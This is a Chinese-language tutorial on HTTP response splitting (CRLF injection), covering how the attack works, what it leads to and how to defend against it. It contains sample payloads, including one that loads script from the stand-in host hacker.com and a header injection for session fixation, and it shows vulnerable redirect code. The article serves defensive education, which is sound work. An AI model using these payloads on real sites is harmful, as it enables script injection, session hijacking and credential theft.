Web 安全之 HTTP 响应截断攻击详解
这不是危言耸听。
在一次安全审计中,某电商平台发现:
用户访问首页后,自动跳转到了赌博网站。
但代码没被篡改,服务器没被入侵,日志一切正常。
最终追查发现——
罪魁祸首,竟是一个 %0d%0a
(回车+换行)的URL参数。
这就是鲜为人知却极其危险的:HTTP 响应截断攻击。
它不靠漏洞提权,不靠暴力破解,而是用“文本注入”的方式,让服务器自己“说出”恶意内容。
今天,我们就来揭开这场“语言级”攻击的真相。
一、你的响应头,可能已经被“切开”了
我们每天都在和 HTTP 打交道:
- 浏览器请求页面,
- 服务器返回数据,
- 一切看似自然流畅。
但你有没有想过——
HTTP 响应,其实是“拼”出来的?
服务器会把响应头和响应体像“三明治”一样组合起来:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: user=alice<html>...</html>
其中,换行符 \r\n
是分隔符,两个 \r\n\r\n
代表响应头和响应体的分界。
而攻击者,就盯上了这个“分隔逻辑”。
二、黑客怎么“切开”HTTP 响应?
想象一下:
你让厨师写一张菜单:“主菜:红烧肉”。
但他在“红烧肉”后面偷偷加了“\n\n甜点:冰淇淋\n\n备注:所有客人都送一杯毒药”。
结果,这张菜单就变成了两张独立的指令。
HTTP 响应截断,正是这种“越权拼接”。
攻击核心:CRLF 注入
CRLF = Carriage Return + Line Feed
= \r\n
攻击者通过在用户输入中插入 %0d%0a
(URL 编码后的 \r\n
),提前结束响应头,然后注入自己的“新响应”。
典型场景:重定向参数污染
比如这个链接:
https://example.com/redirect?url=https://safe.com
服务器代码可能是:
String url = request.getParameter("url");
response.sendRedirect(url);
看起来没问题?错。
如果攻击者把 url
参数改成:
https://safe.com%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
服务器就会生成:
HTTP/1.1 302 Found
Location: https://safe.com
Content-Type: text/html<script>alert(1)</script>
浏览器收到后,会认为这是两个独立的HTTP响应:
- 第一个:重定向到 safe.com(合法)
- 第二个:一个包含恶意脚本的页面(攻击者注入)
虽然现代浏览器对重定向中的响应体处理较严格,但在非重定向场景中,这种攻击可以直接生效。
三、更可怕的实战:Cookie + XSS = 会话劫持
来看一个更真实、更危险的案例。
场景:设置用户名并写入 Cookie
某网站允许用户自定义昵称,并通过响应头设置 Cookie:
Set-Cookie: username=用户输入的昵称
攻击者注册昵称为:
Alice%0d%0a%0d%0a<script src=//hacker.com/x.js></script>
服务器生成的响应变成:
HTTP/1.1 200 OK
Set-Cookie: username=Alice<script src=//hacker.com/x.js></script>
<html>...</html>
用户的浏览器会:
- 忽略第一个“空响应”,
- 执行第二个响应体中的恶意脚本。
结果:
- 用户毫无察觉,
- 却已加载了黑客的 JS,
- 账号、Cookie、密码输入,全部被窃取。
这就是 “响应截断 + XSS” 的完美结合,比普通 XSS 更隐蔽,更难防御。
四、它还能干啥?这些后果你可能想不到
别以为这只是“弹个窗”的小问题。
HTTP 响应截断的连锁反应,远超你的想象:
1. 网页缓存投毒(Web Cache Poisoning)
如果网站用了 CDN 或反向代理缓存,攻击者可以让缓存服务器把恶意内容和正常 URL 绑定。
结果:所有用户访问首页,都看到钓鱼页面。
修复难度极大,缓存不清空,问题一直存在。
2. 会话固定(Session Fixation)
攻击者注入:
%0d%0aSet-Cookie: SESSIONID=attack123
强行将用户的会话ID设为已知值。
用户登录后,黑客直接拿着这个 ID 登录,完成无密码入侵。
3. 内容欺骗与钓鱼
返回一个和官网一模一样的登录页,但表单提交地址指向黑客服务器。
用户输入账号密码,直接“上交”。
五、为什么它这么难防?
因为:
- 请求看起来完全合法,没有SQL注入、没有文件上传;
- 流量极小,不会触发 DDoS 告警;
- 传统 WAF 规则难以识别,因为它不依赖特定 payload,而是利用协议逻辑;
- 开发者容易忽略:谁会想到一个“换行符”能毁掉整个系统?
六、三步防御法:从开发到运维全面设防
✅ 第一步:输入过滤——堵住源头
对所有将用于设置响应头的用户输入,严格过滤:
// Java 示例
String input = request.getParameter("name");
input = input.replaceAll("[\\r\\n]", ""); // 移除 CRLF
最佳实践:使用白名单。
比如用户名只允许 a-z, 0-9, _-
,其他一律拒绝。
✅ 第二步:输出编码——双重保险
即使输入进了系统,也要在写入响应头前编码:
// 使用 URL 编码
String encoded = URLEncoder.encode(input, "UTF-8");
response.setHeader("X-User", encoded);
这样,%0d%0a
会被转成 %250d%250a
,失去攻击能力。
✅ 第三步:用框架,别自己造轮子
现代框架早已内置防护:
框架 | 防护机制 |
---|---|
Spring Boot | HttpHeaders 自动过滤非法字符 |
Django | HttpResponse headers 自动清理 |
Express.js | setHeader 对特殊字符有校验 |
👉 结论:优先使用成熟框架,避免手写 response.setHeader()
。
七、运维必做:WAF + 日志监控
1. 部署 WAF,开启 CRLF 检测规则
- 拦截包含
%0d%0a
、\r\n
的请求; - 特别关注
Cookie
、Location
、Referer
等头字段的输入源。
2. 监控异常响应
- 设置告警:短时间内大量 302 重定向或 Set-Cookie 异常;
- 定期审计日志,查找可疑的 URL 编码参数。
安全,藏在最不起眼的字符里
我们总以为,安全是防火墙、是加密、是漏洞扫描。
但真正的风险,往往藏在一行代码、一个换行符、一次不规范的输入处理中。
HTTP 响应截断攻击提醒我们:
在Web世界里,每一个字符都可能是武器。
作为开发者,不要问“谁会这么干”;
而要问:“如果有人这么干,我的系统会不会崩?”
防御的本质,不是预测攻击,而是杜绝可能性。